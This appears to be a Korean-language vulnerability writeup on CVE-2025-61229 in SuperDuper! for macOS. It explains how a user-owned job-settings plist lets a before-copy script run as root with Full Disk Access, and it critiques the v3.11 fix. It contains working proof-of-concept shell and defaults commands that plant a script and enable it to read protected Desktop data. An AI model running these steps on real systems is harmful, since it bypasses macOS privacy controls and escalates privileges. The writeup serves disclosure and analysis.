graypixel2121/cve-2025-61229
개발자 블로그에서:
사용자가 설정할 수 있는 Before/After 셸 스크립트는 SuperDuper의 TCC 전체 디스크 접근 권한으로 승격되어 실행됩니다. 해당 셸 스크립트는 복사 또는 일정 설정 파일에서 참조되므로, 악의적인 행위자가 그러한 설정을 수정하여 자신의 스크립트를 실행할 수 있습니다.
CVE에서:
Shirt Pocket의 SuperDuper! 3.10 및 이전 버전의 문제로 인해 로컬 공격자가 기본 작업 템플릿을 수정하여 임의의 사전 실행 스크립트를 루트 권한 및 전체 디스크 접근 권한으로 실행할 수 있으며, 이를 통해 macOS 개인정보 보호 제어를 우회할 수 있습니다.
이 글의 작성자는 이 취약점의 발견자가 아닙니다. 발견자는 SuperDuper 개발자가 "익명의 보안 연구원"으로 식별한 사람입니다. 저는 이 취약점을 발견한 공로를 주장하지 않으며, 단지 이에 대한 기술적 분석에 관심을 가졌을 뿐입니다.
CVSS 3.1 점수: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
이 취약점을 피하려면 SuperDuper! 애플리케이션을 삭제하거나 3.11 업데이트를 적용하십시오.
경고: CVE-2025-61228 취약점을 피하려면 개발자 웹사이트에서 직접 업데이트를 다운로드해야 합니다.
이 익스플로잇 분석 및 개념 증명은 교육 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.
루트 권한과 전체 디스크 접근 권한은 macOS에서 소프트웨어가 얻을 수 있는 최고 수준의 권한입니다. 이러한 권한을 요청하는 개발자는 현대 보안 설계 원칙과 모범 사례를 준수하는 소프트웨어를 작성해야 합니다. 이 취약점은 CVE-2025-57489 및 CVE-2025-61228에서 노출된 취약점들, 그리고 개발자 자신이 이러한 문제가 22년 동안 지속되어 왔다고 인정한 사실과 함께, SuperDuper가 안전한 제품으로 설계되지 않았으며 22년 동안 현대 보안 모범 사례를 준수하기 위한 정기적인 설계 개선이 이루어지지 않았음을 보여줍니다.
SuperDuper 작업 설정은 제품의 현재(3.11) 버전에서도 여전히 본질적으로 안전하지 않습니다. 저는 이 제품을 사용하는 모든 분께 개발자가 앞서 언급한 모든 보안 문제를 철저히 해결하는 적절한 업데이트를 제공할 때까지 사용을 중단할 것을 권고합니다.
이 취약점은 이전 두 익스플로잇(CVE-2025-57489 및 CVE-2025-61228)보다 악용하기 훨씬 쉬웠습니다. 솔직히 너무 쉬웠습니다. 취약점이 이렇게 명백하고 악용하기 쉬우며 수십 년 동안 해결되지 않은 채 방치되어 있다면, 개발자에게 보안 소프트웨어를 작성하는 것이 중요한지 의문이 들기 시작합니다.
취약한 버전의 애플리케이션에서 시작하여, 가장 먼저 해야 할 일은 이 "기본 작업 템플릿"이 어디에 있는지 찾는 것입니다. 가장 확실한 첫 번째 위치는 ~/Library/Application Support/{공급업체/제품명}입니다. 정확히 맞습니다. ~/Library/Application Support/SuperDuper!에는 세 개의 폴더가 있습니다:
"Copy Scripts"에는 애플리케이션 번들에 있는 폴더에 대한 심볼릭 링크만 있으므로 제외합니다. Saved Settings 안에는 ".Default Settings.sdsp"라는 숨겨진 폴더가 있습니다. 그 폴더 안에는 "Logs" 폴더와 plist 형식의 "Session Settings.sdss"라는 단일 파일이 있습니다. Session Settings 파일은 로그인한 사용자가 소유하며, 네, 모든 작업 설정이 이 파일에 그대로 노출되어 있습니다.
Before/After 스크립트는 네 가지 설정에 의해 제어됩니다:
<key>SDbeforeCopyScript</key>
<string></string>
<key>SDsiteCustomizationScript</key>
<string></string>
<key>SDshouldInvokeBeforeCopyScript</key>
<false/>
<key>SDshouldInvokeSiteCustomizationScript</key>
<false/>
이 간단한 테스트 스크립트는 취약점의 두 가지 측면을 모두 입증합니다:
mkdir /tmp/script
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/script/before.sh
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/script/before.sh
chmod a+x /tmp/script/before.sh
그런 다음 "Session Settings.sdss" plist를 편집하기만 하면 됩니다. defaults 유틸리티는 이를 간단히 처리할 수 있지만, defaults는 .plist 접미사가 있는 파일을 요구하므로 이 파일의 복사본을 만들어야 합니다:
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInvokeBeforeCopyScript -bool YES
defaults write "`pwd`"/Settings.plist SDbeforeCopyScript /tmp/script/before.sh
cp Settings.plist 'Session Settings.sdss'
SuperDuper를 열고 백업을 실행하십시오. 완료되면 /Library에서 "private_data.txt" 파일을 찾아보십시오(데스크톱의 파일 목록이 포함되어 있어야 하며, 이는 해당 개인 데이터에 접근할 수 있는 특별한 권한이 있는 애플리케이션만 접근할 수 있습니다). 솔직히 저는 작업 설정이 이렇게 취약하다는 사실에 조금 놀랐습니다. "취약하다"는 오타가 아닙니다. 개발자가 이 취약점에 대한 "해결책"을 설명한 내용은 다음과 같습니다:
이 취약점을 완화하기 위해 v3.11에서 두 가지 변경 사항을 적용했습니다:
Before/After 셸 스크립트는 사용자의 ID와 권한으로 강제 실행됩니다. 대체 실행 컨텍스트가 필요한 사용자는 suid와 같은 일반적인 Unix 방법을 통해 그렇게 할 수 있습니다.
스크립트는 일반 사용자 컨텍스트에서 실행되는 경우에도 루트 사용자가 소유해야 합니다. 이는 실행되는 모든 스크립트가 관리 사용자에 의해 명시적으로 승인되었음을 보장합니다.
따라서 before/after 스크립트로 실행할 수 있는 항목에 몇 가지 제한이 부과되었지만, 작업 설정 파일의 보안은 개선되지 않은 것으로 보입니다. 불행히도 이는 공격자가 생산적인 어떤 작업도 수행하지 못하도록 제한하는 데만 효과적입니다. Before/After 셸 스크립트에 대한 유일한 요구 사항은 루트가 소유해야 한다는 것입니다. 그 외에는 공격자가 여전히 기본 작업 설정 템플릿을 자유롭게 수정할 수 있습니다. 이는 완전히 터무니없는 일입니다. 공격자가 이러한 Before/After 스크립트를 사용하여 비밀번호와 금융 데이터를 유출하지는 못할 수도 있지만, 루트 소유 요구 사항을 충족하는(대부분의 내장 셸 도구가 이 요구 사항을 충족합니다) 임의의 내장 셸 도구를 지정하여 상당한 혼란을 일으킬 수 있을 것입니다. "/usr/bin/say" 유틸리티를 Before 스크립트로 지정하고 어떤 일이 일어나는지 확인해 보십시오. 데이터 보안이 그렇게 심각한 주제가 아니었다면 정말 웃겼을 것입니다. 인수를 수정할 수 없으므로 내장 유틸리티 중 어느 것도 중대한 영향을 미치지는 못하겠지만, 일부는 성가신 문제를 일으킬 수 있고 백업을 확실히 실패하게 만들 것입니다.
제 요점은 "루트 익스플로잇을 피하는 것"과 "안전한 소프트웨어를 작성하는 것" 사이에는 차이가 있다는 것입니다. 개발자는 여기서 두 가지 루트 익스플로잇 기회를 대체로 피하는 데 성공했지만, 작업 구성은 여전히 본질적으로 안전하지 않습니다. 아무나 "뒤에서" 작업 설정을 수정할 수 있으며, 주의를 기울이지 않으면 이러한 변경이 데이터나 백업에 어떤 식으로든 영향을 미칠 수 있습니다.
또한, 다른 설정에서의 이러한 보안 부재가 여전히 악용될 수 있는지 의문을 가져야 합니다.